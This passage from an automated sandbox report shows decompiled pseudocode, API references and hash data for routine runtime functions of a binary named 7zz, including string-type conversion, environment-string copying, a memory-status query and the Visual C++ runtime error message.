										_t405 = _t405 + 0x84;
										_t98 = _t411 - 0x14;
										 *_t98 =  *(_t411 - 0x14) - 1;
									} while ( *_t98 != 0);
									goto L54;
								}
							} else {
								goto L37;
							}
							do {
								L37:
								 *(_t411 - 0x14) = 2;
								_t408 =  *(_t411 - 0x10) * 0x84 +  *(_t411 - 0x20);
								_t393 = _t408 + 0xc;
								_t327 = _t393;
								do {
									_push(0x50);
									_t292 = L004079F2();
									if(_t292 == 0) {
										_t292 = 0;
										__eflags = 0;
									} else {
										 *((intOrPtr*)(_t292 + 4)) = 0;
										 *((intOrPtr*)(_t292 + 0x40)) = 0;
										 *((intOrPtr*)(_t292 + 0x4c)) = 0;
										 *_t292 = 0x47aaf4;
									}
									 *_t327 = _t292;
									E0040C9B4(_t327 + 8, _t292);
									_t294 =  *_t327;
									_t327 = _t327 + 4;
									_t81 = _t411 - 0x14;
									 *_t81 =  *(_t411 - 0x14) - 1;
									 *((intOrPtr*)(_t294 + 8)) = _t411 - 0x50;
								} while ( *_t81 != 0);
								if( *(_t411 - 0x10) == 0) {
									 *( *_t393 + 0x4c) =  *(_t411 + 8);
									 *( *_t393 + 0x40) =  *(_t411 - 0x1c);
									E00414885( *_t393 + 0x10, _t378);
								}
								_t389 =  *(_t411 - 0x1c);
								if(_t389 <= 1) {
									_t295 = L00413E35(_t408);
								} else {
									_t378 = E004148B5;
									 *(_t408 + 0x20) =  *(_t411 - 0x10) * 0x00000150 & 0x000007ff;
									_t295 = L00467AD0(_t408, E004148B5, _t408);
								}
								_t400 = _t295;
								if(_t400 != 0) {
									goto L95;
								}
								 *(_t411 - 0x10) =  *(_t411 - 0x10) + 1;
							} while ( *(_t411 - 0x10) < _t389);
							_t323 =  *(_t411 - 0x20);
							_t389 =  *(_t411 - 0x1c);
							goto L50;
						}
						_t409 = _t323;
						while(1) {
							_push(_t411 - 0x94);
							_push( *((intOrPtr*)(_t411 - 0x8c)));
							_push( *(_t411 - 0x2c));
							_t303 = L00413A0D(_t409, _t430);
							 *(_t411 - 0x30) = _t303;
							if(_t303 != 0) {
								break;
							}
							 *(_t411 - 0x10) =  *(_t411 - 0x10) + 1;
							_t409 = _t409 + 0x84;
							if( *(_t411 - 0x10) < _t389) {
								continue;
							}
							goto L36;
						}
						_t372 =  *(_t411 - 0x18);
						 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
						__eflags =  *(_t411 - 0x18);
						if( *(_t411 - 0x18) != 0) {
							E0041415B(_t372, _t389, _t411, 3);
						}
						_t242 =  *(_t411 - 0x30);
						goto L113;
					}
					_t410 = _t398 + 8;
					_t422 = _t410;
					while(1) {
						_push(0);
						asm("sbb eax, eax");
						_t378 = 1;
						_push(0x30101);
						 *(_t410 + 0x54) =  !( ~( *(_t411 - 0x10))) &  *(_t411 + 8);
						_t309 = E0040C964(_t410, 1, _t422);
						 *(_t411 - 0x14) = _t309;
						if(_t309 != 0) {
							break;
						}
						if( *_t410 == _t309) {
							_t375 =  *(_t411 - 0x18);
							 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
							__eflags =  *(_t411 - 0x18) - _t309;
							L30:
							if(__eflags != 0) {
								E0041415B(_t375, 0x30101, _t411, 3);
							}
							_t242 = 0x80004001;
							goto L113;
						}
						_t425 =  *(_t411 - 0x24) - _t309;
						 *(_t411 - 0x14) = _t309;
						if( *(_t411 - 0x24) <= _t309) {
							L15:
							 *(_t411 - 0x10) =  *(_t411 - 0x10) + 1;
							_t410 = _t410 + 0x84;
							if( *(_t411 - 0x10) <  *(_t411 - 0x1c)) {
								continue;
							}
							_t389 =  *(_t411 - 0x1c);
							goto L17;
						}
						 *(_t411 - 0x28) = _t410 + 0x3c;
						while(1) {
							_push(0);
							_t378 = 0;
							_push(0x30101);
							_t314 = E0040C964( *(_t411 - 0x28), 0, _t425);
							 *(_t411 - 0x30) = _t314;
							if(_t314 != 0) {
								break;
							}
							if( *( *(_t411 - 0x28)) == 0) {
								_t375 =  *(_t411 - 0x18);
								 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
								__eflags =  *(_t411 - 0x18);
								goto L30;
							}
							 *(_t411 - 0x14) =  *(_t411 - 0x14) + 1;
							 *(_t411 - 0x28) =  *(_t411 - 0x28) + 4;
							if( *(_t411 - 0x14) <  *(_t411 - 0x24)) {
								continue;
							}
							goto L15;
						}
						_t377 =  *(_t411 - 0x18);
						 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
						__eflags =  *(_t411 - 0x18);
						if( *(_t411 - 0x18) != 0) {
							E0041415B(_t377, 0x30101, _t411, 3);
						}
						_t242 =  *(_t411 - 0x30);
						goto L113;
					}
					_t374 =  *(_t411 - 0x18);
					 *(_t411 - 4) =  *(_t411 - 4) | 0xffffffff;
					__eflags =  *(_t411 - 0x18);
					if( *(_t411 - 0x18) != 0) {
						E0041415B(_t374, 0x30101, _t411, 3);
					}
					_t242 =  *(_t411 - 0x14);
				}
			}

0x00414269
0x00414269
0x0041426e
0x0041427e
0x0041427f
0x00414284
0x0041428a
0x00414292
0x0041428c
0x0041428e
0x0041428e
0x004142a2
0x004142a5
0x004142a8
0x00414857
0x004142c2
0x004142c2
0x004142c6
0x004142cb
0x004142ce
0x004142d2
0x004142d6
0x004142da
0x004142dd
0x0041436e
0x0041436e
0x00414372
0x0041437c
0x0041437e
0x00414388
0x00414433
0x00414436
0x0041443b
0x0041443f
0x00414445
0x00414449
0x0041444d
0x00414512
0x00414515
0x00414532
0x00414532
0x00414537
0x00414545
0x00414554
0x00414559
0x0041455b
0x0041455e
0x00414561
0x00414564
0x00414567
0x0041456e
0x00414591
0x0041459f
0x004145a1
0x004145a3
0x004145a6
0x004145cf
0x004145d3
0x004145d6
0x004145d8
0x004145db
0x004145de
0x004145e1
0x004146b6
0x004146b6
0x004146b9
0x004146bc
0x0041475a
0x0041475a
0x0041475d
0x0041475f
0x00414790
0x00414795
0x00414797
0x0041479a
0x0041479d
0x004147a0
0x004147aa
0x004147ac
0x004147af
0x004147cd
0x004147cd
0x004147df
0x004147e1
0x004147e3
0x00414815
0x0041481a
0x0041481c
0x0041481d
0x0041483b
0x00414841
0x00414844
0x00414848
0x0041484a
0x0041484e
0x0041484e
0x00414853
0x0041485c
0x00414862
0x0041486a
0x0041486a
0x0041481f
0x0041481f
0x00414825
0x00414828
0x0041482e
0x00414832
0x00414832
0x00414837
0x00000000
0x00414837
0x004147e9
0x004147ef
0x004147f2
0x004147f6
0x004147f8
0x004147fc
0x004147fc
0x00414801
0x00000000
0x00414801
0x004147b1
0x004147b4
0x004147b7
0x004147ba
0x004147bf
0x004147c2
0x004147c5
0x004147ca
0x004147ca
0x004147ca
0x00000000
0x004147b4
0x00414761
0x00414765
0x0041476b
0x0041476e
0x00414772
0x00414774
0x00414778
0x00414778
0x0041477d
0x00000000
0x0041477d
0x004146c2
0x004146c4
0x00000000
0x00000000
0x004146ca
0x004146cd
0x004146d0
0x004146d0
0x004146d4
0x00000000
0x00000000
0x004146db
0x004146dc
0x004146df
0x004146e6
0x004146ee
0x004146f1
0x004146f3
0x004146f5
0x004146f5
0x004146f8
0x004146fb
0x004146fb
0x004146fb
0x004146fb
0x00414700
0x00414700
0x00414707
0x00414707
0x00414707
0x00414707
0x0041470c
0x00414710
0x00000000
0x00000000
0x00414716
0x0041471c
0x0041471f
0x00414723
0x00414725
0x00414729
0x00414729
0x0041472e
0x00000000
0x00000000
0x00000000
0x00000000
0x004145e7
0x004145e7
0x004145f5
0x004145fa
0x004145fc
0x00414601
0x00414604
0x00414607
0x0041460f
0x00414618
0x0041461e
0x00414621
0x00414621
0x00414626
0x0041462a
0x0041468a
0x00414692
0x00414694
0x00414696
0x00000000
0x00000000
0x0041462c
0x0041462c
0x0041462f
0x00000000
0x00000000
0x00414634
0x00414634
0x00414638
0x0041463a
0x0041463d
0x0041463f
0x00414641
0x00414643
0x00414645
0x00414645
0x00414641
0x0041465a
0x0041465f
0x00414662
0x0041466d
0x00414670
0x00414672
0x00414677
0x00414679
0x0041467c
0x00000000
0x00000000
0x00414682
0x00414683
0x00414686
0x00000000
0x00000000
0x00000000
0x00414688
0x0041473a
0x00414740
0x00414743
0x00414747
0x00414749
0x0041474d
0x0041474d
0x00414752
0x00000000
0x00414752
0x0041469c
0x0041469c
0x004146a2
0x004146a2
0x004146ab
0x004146ae
0x004146b1
0x004146b4
0x004146b4
0x00000000
0x004146b4
0x004145ac
0x004145b2
0x004145b5
0x004145b9
0x004145bb
0x004145bf
0x004145bf
0x004145c4
0x00000000
0x004145c4
0x00414570
0x00414573
0x00414576
0x00414579
0x0041457c
0x00414581
0x00414584
0x00414587
0x0041458c
0x0041458c
0x0041458c
0x0041458c
0x00000000
0x00414576
0x00414539
0x0041453f
0x00000000
0x0041451b
0x0041451b
0x0041451d
0x00414520
0x00414522
0x00414527
0x0041452d
0x0041452d
0x0041452d
0x00000000
0x00414520
0x00000000
0x00000000
0x00000000
0x00414453
0x00414453
0x00414456
0x00414463
0x00414466
0x00414469
0x0041446b
0x0041446b
0x0041446d
0x00414475
0x0041448a
0x0041448a
0x00414477
0x00414479
0x0041447c
0x0041447f
0x00414482
0x00414482
0x00414490
0x00414492
0x00414497
0x0041449c
0x0041449f
0x0041449f
0x004144a2
0x004144a2
0x004144ab
0x004144b2
0x004144ba
0x004144c2
0x004144c2
0x004144c7
0x004144cd
0x004144f1
0x004144cf
0x004144de
0x004144e5
0x004144e8
0x004144e8
0x004144f6
0x004144fa
0x00000000
0x00000000
0x00414500
0x00414503
0x0041450c
0x0041450f
0x00000000
0x0041450f
0x0041438e
0x00414390
0x00414398
0x00414399
0x0041439f
0x004143a2
0x004143a9
0x004143ac
0x00000000
0x00000000
0x004143ae
0x004143b1
0x004143ba
0x00000000
0x00000000
0x00000000
0x004143bc
0x00414419
0x0041441c
0x00414420
0x00414422
0x00414426
0x00414426
0x0041442b
0x00000000
0x0041442b
0x004142e3
0x004142e3
0x004142eb
0x004142ee
0x004142f2
0x004142f4
0x004142fd
0x004142fe
0x00414301
0x00414308
0x0041430b
0x00000000
0x00000000
0x00414313
0x004143d8
0x004143db
0x004143df
0x00414406
0x00414406
0x0041440a
0x0041440a
0x0041440f
0x00000000
0x0041440f
0x00414319
0x0041431c
0x0041431f
0x0041435a
0x0041435a
0x0041435d
0x00414369
0x00000000
0x00000000
0x0041436b
0x00000000
0x0041436b
0x00414324
0x00414327
0x0041432a
0x0041432c
0x0041432e
0x0041432f
0x00414336
0x00414339
0x00000000
0x00000000
0x00414345
0x004143fd
0x00414400
0x00414404
0x00000000
0x00414404
0x0041434b
0x0041434e
0x00414358
0x00000000
0x00000000
0x00000000
0x00414358
0x004143e3
0x004143e6
0x004143ea
0x004143ec
0x004143f0
0x004143f0
0x004143f5
0x00000000
0x004143f5
0x004143be
0x004143c1
0x004143c5
0x004143c7
0x004143cb
0x004143cb
0x004143d0
0x004143d0

APIs

__EH_prolog.LIBCMT ref: 0041426E
DeleteCriticalSection.KERNEL32(?), ref: 0041481F

Part of subcall function 00413E35: __EH_prolog.LIBCMT ref: 00413E3A

DeleteCriticalSection.KERNEL32(?), ref: 004145AC

Part of subcall function 00413EF3: __EH_prolog.LIBCMT ref: 00413EF8

DeleteCriticalSection.KERNEL32(?), ref: 00414716
DeleteCriticalSection.KERNEL32(?,?,?), ref: 0041473A
DeleteCriticalSection.KERNEL32(?), ref: 00414765
DeleteCriticalSection.KERNEL32(?), ref: 004147E9
DeleteCriticalSection.KERNEL32(?), ref: 0041483B

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: CriticalDeleteSection$H_prolog
String ID:
API String ID: 267298877-0
Opcode ID: 13d5c9578ffa9f24051f66a8e432b211ca4e975802d1602c744c2f562538c110
Instruction ID: c24d3815df71a14f5bbf7c8d066a825158e8e708a592f674f2395a742420ece0
Opcode Fuzzy Hash: 13d5c9578ffa9f24051f66a8e432b211ca4e975802d1602c744c2f562538c110
Instruction Fuzzy Hash: 8C125A31E002199FDF14DF94C981AEEB7B5BF88314F14416AE529AB380D7789A81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00472375 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00472375(int _a4, char* _a8, int _a12, short* _a16, int _a20, int _a24, char _a28) {
				int _v8;
				intOrPtr _v20;
				short* _v28;
				short _v32;
				int _v36;
				short* _v40;
				void* _v56;
				int _t31;
				int _t32;
				int _t37;
				int _t43;
				int _t44;
				int _t45;
				void* _t53;
				short* _t60;
				int _t61;
				intOrPtr _t62;
				short* _t63;

				_push(0xffffffff);
				_push(0x47cd40);
				_push(E0046CE74);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t62;
				_t63 = _t62 - 0x18;
				_v28 = _t63;
				_t31 =  *0x4938a4; // 0x1
				if(_t31 != 0) {
					L6:
					if(_t31 != 2) {
						if(_t31 != 1) {
							goto L18;
						} else {
							if(_a20 == 0) {
								_t44 =  *0x493880; // 0x0
								_a20 = _t44;
							}
							_t13 =  &_a28; // 0x496224
							asm("sbb eax, eax");
							_t37 = MultiByteToWideChar(_a20, ( ~( *_t13) & 0x00000008) + 1, _a8, _a12, 0, 0);
							_v36 = _t37;
							if(_t37 == 0) {
								goto L18;
							} else {
								_v8 = 0;
								E0046CC80(_t37 + _t37 + 0x00000003 & 0x000000fc, _t53);
								_v28 = _t63;
								_t60 = _t63;
								_v40 = _t60;
								E0046CCB0(_t60, 0, _t37 + _t37);
								_v8 = _v8 | 0xffffffff;
								if(_t60 == 0) {
									goto L18;
								} else {
									_t43 = MultiByteToWideChar(_a20, 1, _a8, _a12, _t60, _v36);
									if(_t43 == 0) {
										goto L18;
									} else {
										_t32 = GetStringTypeW(_a4, _t60, _t43, _a16);
									}
								}
							}
						}
					} else {
						_t45 = _a24;
						if(_t45 == 0) {
							_t45 =  *0x493870; // 0x0
						}
						_t32 = GetStringTypeA(_t45, _a4, _a8, _a12, _a16);
					}
				} else {
					_push( &_v32);
					_t61 = 1;
					if(GetStringTypeW(_t61, 0x47cd24, _t61, ??) == 0) {
						if(GetStringTypeA(0, _t61, 0x47cd20, _t61,  &_v32) == 0) {
							L18:
							_t32 = 0;
						} else {
							_t31 = 2;
							goto L5;
						}
					} else {
						_t31 = _t61;
						L5:
						 *0x4938a4 = _t31;
						goto L6;
					}
				}
				 *[fs:0x0] = _v20;
				return _t32;
			}

0x00472378
0x0047237a
0x0047237f
0x0047238a
0x0047238b
0x00472392
0x00472398
0x0047239b
0x004723a4
0x004723e4
0x004723e7
0x00472410
0x00000000
0x00472416
0x00472419
0x0047241b
0x00472420
0x00472420
0x0047242b
0x00472430
0x0047243a
0x00472440
0x00472445
0x00000000
0x00472447
0x00472447
0x00472454
0x00472459
0x0047245c
0x0047245e
0x00472464
0x00472479
0x0047247f
0x00000000
0x00472481
0x00472490
0x00472498
0x00000000
0x0047249a
0x004724a2
0x004724a2
0x00472498
0x0047247f
0x00472445
0x004723e9
0x004723e9
0x004723ee
0x004723f0
0x004723f0
0x00472402
0x00472402
0x004723a6
0x004723a9
0x004723ac
0x004723bc
0x004723d6
0x004724aa
0x004724aa
0x004723dc
0x004723de
0x00000000
0x004723de
0x004723be
0x004723be
0x004723df
0x004723df
0x00000000
0x004723df
0x004723bc
0x004724b2
0x004724bd

APIs

GetStringTypeW.KERNEL32(00000001,0047CD24,00000001,?,772970F0,00496224,?,?,00471FC7,?,?,?,00000000,00000001), ref: 004723B4
GetStringTypeA.KERNEL32(00000000,00000001,0047CD20,00000001,?,?,00471FC7,?,?,?,00000000,00000001), ref: 004723CE
GetStringTypeA.KERNEL32(?,?,?,?,00471FC7,772970F0,00496224,?,?,00471FC7,?,?,?,00000000,00000001), ref: 00472402
MultiByteToWideChar.KERNEL32(?,$bI,?,?,00000000,00000000,772970F0,00496224,?,?,00471FC7,?,?,?,00000000,00000001), ref: 0047243A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,?,?,00471FC7,?), ref: 00472490
GetStringTypeW.KERNEL32(?,?,00000000,00471FC7,?,?,?,?,?,?,00471FC7,?), ref: 004724A2

Strings

$bI, xrefs: 0047242B, 00472436

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: StringType$ByteCharMultiWide
String ID: $bI
API String ID: 3852931651-2563688255
Opcode ID: 5faa2e72cf23a552d0f70167b23892f61f4cda34b29eb4cb4140b725662a4e30
Instruction ID: a5c6d82e9c342f5f8861e27a946ad25536d4888bca3c47b44a025a795350f61f
Opcode Fuzzy Hash: 5faa2e72cf23a552d0f70167b23892f61f4cda34b29eb4cb4140b725662a4e30
Instruction Fuzzy Hash: 57419E72600259BFCF209FA4DD85EEF3FB8FB09350F10882AF919D2250D37999508B99

Uniqueness

Uniqueness Score: -1.00%

Function 00470C41 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 100
fileCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E00470C41(void* __edi, long _a4) {
				char _v164;
				char _v424;
				int _t17;
				long _t19;
				signed int _t42;
				long _t47;
				void* _t48;
				signed int _t54;
				void** _t56;
				void* _t57;

				_t48 = __edi;
				_t47 = _a4;
				_t42 = 0;
				_t17 = 0x490378;
				while(_t47 !=  *_t17) {
					_t17 = _t17 + 8;
					_t42 = _t42 + 1;
					if(_t17 < 0x490408) {
						continue;
					}
					break;
				}
				_t54 = _t42 << 3;
				_t2 = _t54 + 0x490378; // 0x5c000000
				if(_t47 ==  *_t2) {
					_t17 =  *0x493678; // 0x0
					if(_t17 == 1 || _t17 == 0 &&  *0x48e044 == 1) {
						_t16 = _t54 + 0x49037c; // 0x47cc5c
						_t56 = _t16;
						_t19 = L0046B400( *_t56);
						_t17 = WriteFile(GetStdHandle(0xfffffff4),  *_t56, _t19,  &_a4, 0);
					} else {
						if(_t47 != 0xfc) {
							if(GetModuleFileNameA(0,  &_v424, 0x104) == 0) {
								E00471740( &_v424, "<program name unknown>");
							}
							_push(_t48);
							_t49 =  &_v424;
							if(L0046B400( &_v424) + 1 > 0x3c) {
								_t49 = L0046B400( &_v424) +  &_v424 - 0x3b;
								E00471CB0(L0046B400( &_v424) +  &_v424 - 0x3b, "...", 3);
								_t57 = _t57 + 0x10;
							}
							E00471740( &_v164, "Runtime Error!\n\nProgram: ");
							E00471750( &_v164, _t49);
							E00471750( &_v164, "\n\n");
							_t12 = _t54 + 0x49037c; // 0x47cc5c
							E00471750( &_v164,  *_t12);
							_t17 = E00471C24( &_v164, "Microsoft Visual C++ Runtime Library", 0x12010);
						}
					}
				}
				return _t17;
			}

0x00470c41
0x00470c4a
0x00470c4d
0x00470c4f
0x00470c54
0x00470c58
0x00470c5b
0x00470c61
0x00000000
0x00000000
0x00000000
0x00470c61
0x00470c66
0x00470c69
0x00470c6f
0x00470c75
0x00470c7d
0x00470d6e
0x00470d6e
0x00470d79
0x00470d8b
0x00470c94
0x00470c9a
0x00470cb6
0x00470cc4
0x00470cca
0x00470cd1
0x00470cd3
0x00470ce3
0x00470cfe
0x00470d06
0x00470d0b
0x00470d0b
0x00470d1a
0x00470d27
0x00470d38
0x00470d3d
0x00470d4a
0x00470d60
0x00470d68
0x00470c9a
0x00470c7d
0x00470d93

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?), ref: 00470CAE
GetStdHandle.KERNEL32(000000F4,0047CC5C,00000000,00000000,00000000,?), ref: 00470D84
WriteFile.KERNEL32(00000000), ref: 00470D8B

Strings

Runtime Error!Program: , xrefs: 00470D14
Microsoft Visual C++ Runtime Library, xrefs: 00470D5A
<program name unknown>, xrefs: 00470CBE
..., xrefs: 00470D00

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: File$HandleModuleNameWrite
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3784150691-4022980321
Opcode ID: 3f1414031e306f802f3caa4c7c29117252c4b502bfb9922d2e50e8356c28ed3a
Instruction ID: 26f8d94228b957b8f636da331ac734a73308fccb95c236921b77b6dd9be393b7
Opcode Fuzzy Hash: 3f1414031e306f802f3caa4c7c29117252c4b502bfb9922d2e50e8356c28ed3a
Instruction Fuzzy Hash: F1313932601208AFEF35EBA4CD85FDE336CEB45304F10856BF54CE6251E678A9848B5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040C609 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 40
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E0040C609() {
				struct _MEMORYSTATUS _v36;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v88;
				intOrPtr _v92;
				char _v100;
				_Unknown_base(*)()* _t15;
				intOrPtr _t17;
				intOrPtr _t19;
				void* _t27;

				_v100 = 0x40;
				_t15 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "GlobalMemoryStatusEx");
				if(_t15 == 0) {
					L7:
					_v36.dwLength = 0x20;
					GlobalMemoryStatus( &_v36);
					_t17 = _v36.dwTotalVirtual;
					if(_t17 >= _v36.dwTotalPhys) {
						_t17 = _v36.dwTotalPhys;
					}
					return _t17;
				} else {
					_push( &_v100);
					if( *_t15() == 0) {
						goto L7;
					} else {
						_t19 = _v92;
						_t27 = _v56 - _v88;
						if(_t27 > 0 || _t27 >= 0 && _v60 >= _t19) {
							return _t19;
						} else {
							return _v60;
						}
					}
				}
			}

0x0040c619
0x0040c627
0x0040c62f
0x0040c657
0x0040c65a
0x0040c662
0x0040c668
0x0040c66e
0x0040c670
0x0040c670
0x0040c676
0x0040c631
0x0040c634
0x0040c639
0x00000000
0x0040c63b
0x0040c63e
0x0040c641
0x0040c644
0x0040c656
0x0040c64d
0x0040c651
0x0040c651
0x0040c644
0x0040c639

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GlobalMemoryStatusEx), ref: 0040C620
GetProcAddress.KERNEL32(00000000), ref: 0040C627
GlobalMemoryStatus.KERNEL32 ref: 0040C662

Strings

@, xrefs: 0040C619
kernel32.dll, xrefs: 0040C614
GlobalMemoryStatusEx, xrefs: 0040C60F
, xrefs: 0040C65A

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: AddressGlobalHandleMemoryModuleProcStatus
String ID: $@$GlobalMemoryStatusEx$kernel32.dll
API String ID: 2450578220-802862622
Opcode ID: e084be034f3929a9efab15a420d4320ad8e287069fa46d9bd79244de0d77a124
Instruction ID: f023bf0e3df83ca1e7ee498ce2c1c416e3a88b1c0401ce8498900abd94d01139
Opcode Fuzzy Hash: e084be034f3929a9efab15a420d4320ad8e287069fa46d9bd79244de0d77a124
Instruction Fuzzy Hash: 7D014B70A0020DDBDF10EBE4D989A9EB7B5FB94348F244A25E405B7294D779E840CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 00470AD6 Relevance: 12.1, APIs: 8, Instructions: 132
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00470AD6() {
				int _v4;
				int _v8;
				intOrPtr _t7;
				CHAR* _t9;
				WCHAR* _t17;
				int _t20;
				char* _t24;
				int _t32;
				CHAR* _t36;
				WCHAR* _t38;
				void* _t39;
				int _t42;

				_t7 =  *0x493840; // 0x1
				_t32 = 0;
				_t38 = 0;
				_t36 = 0;
				if(_t7 != 0) {
					if(_t7 != 1) {
						if(_t7 != 2) {
							L27:
							return 0;
						}
						L18:
						if(_t36 != _t32) {
							L20:
							_t9 = _t36;
							if( *_t36 == _t32) {
								L23:
								_t41 = _t9 - _t36 + 1;
								_t39 = L0046BFC5(_t9 - _t36 + 1);
								if(_t39 != _t32) {
									E0046C5C0(_t39, _t36, _t41);
								} else {
									_t39 = 0;
								}
								FreeEnvironmentStringsA(_t36);
								return _t39;
							} else {
								goto L21;
							}
							do {
								do {
									L21:
									_t9 =  &(_t9[1]);
								} while ( *_t9 != _t32);
								_t9 =  &(_t9[1]);
							} while ( *_t9 != _t32);
							goto L23;
						}
						_t36 = GetEnvironmentStrings();
						if(_t36 == _t32) {
							goto L27;
						}
						goto L20;
					}
					L6:
					if(_t38 != _t32) {
						L8:
						_t17 = _t38;
						if( *_t38 == _t32) {
							L11:
							_t20 = (_t17 - _t38 >> 1) + 1;
							_v4 = _t20;
							_t42 = WideCharToMultiByte(_t32, _t32, _t38, _t20, _t32, _t32, _t32, _t32);
							if(_t42 != _t32) {
								_t24 = L0046BFC5(_t42);
								_v8 = _t24;
								if(_t24 != _t32) {
									if(WideCharToMultiByte(_t32, _t32, _t38, _v4, _t24, _t42, _t32, _t32) == 0) {
										E0046C0FF(_v8);
										_v8 = _t32;
									}
									_t32 = _v8;
								}
							}
							FreeEnvironmentStringsW(_t38);
							return _t32;
						} else {
							goto L9;
						}
						do {
							do {
								L9:
								_t17 =  &(_t17[1]);
							} while ( *_t17 != _t32);
							_t17 =  &(_t17[1]);
						} while ( *_t17 != _t32);
						goto L11;
					}
					_t38 = GetEnvironmentStringsW();
					if(_t38 == _t32) {
						goto L27;
					}
					goto L8;
				}
				_t38 = GetEnvironmentStringsW();
				if(_t38 == 0) {
					_t36 = GetEnvironmentStrings();
					if(_t36 == 0) {
						goto L27;
					}
					 *0x493840 = 2;
					goto L18;
				}
				 *0x493840 = 1;
				goto L6;
			}

0x00470ad8
0x00470ae7
0x00470ae9
0x00470aeb
0x00470aef
0x00470b27
0x00470bb1
0x00470bff
0x00000000
0x00470bff
0x00470bb3
0x00470bb5
0x00470bc3
0x00470bc5
0x00470bc7
0x00470bd3
0x00470bd6
0x00470bde
0x00470be3
0x00470bec
0x00470be5
0x00470be5
0x00470be5
0x00470bf5
0x00000000
0x00000000
0x00000000
0x00000000
0x00470bc9
0x00470bc9
0x00470bc9
0x00470bc9
0x00470bca
0x00470bce
0x00470bcf
0x00000000
0x00470bc9
0x00470bbd
0x00470bc1
0x00000000
0x00000000
0x00000000
0x00470bc1
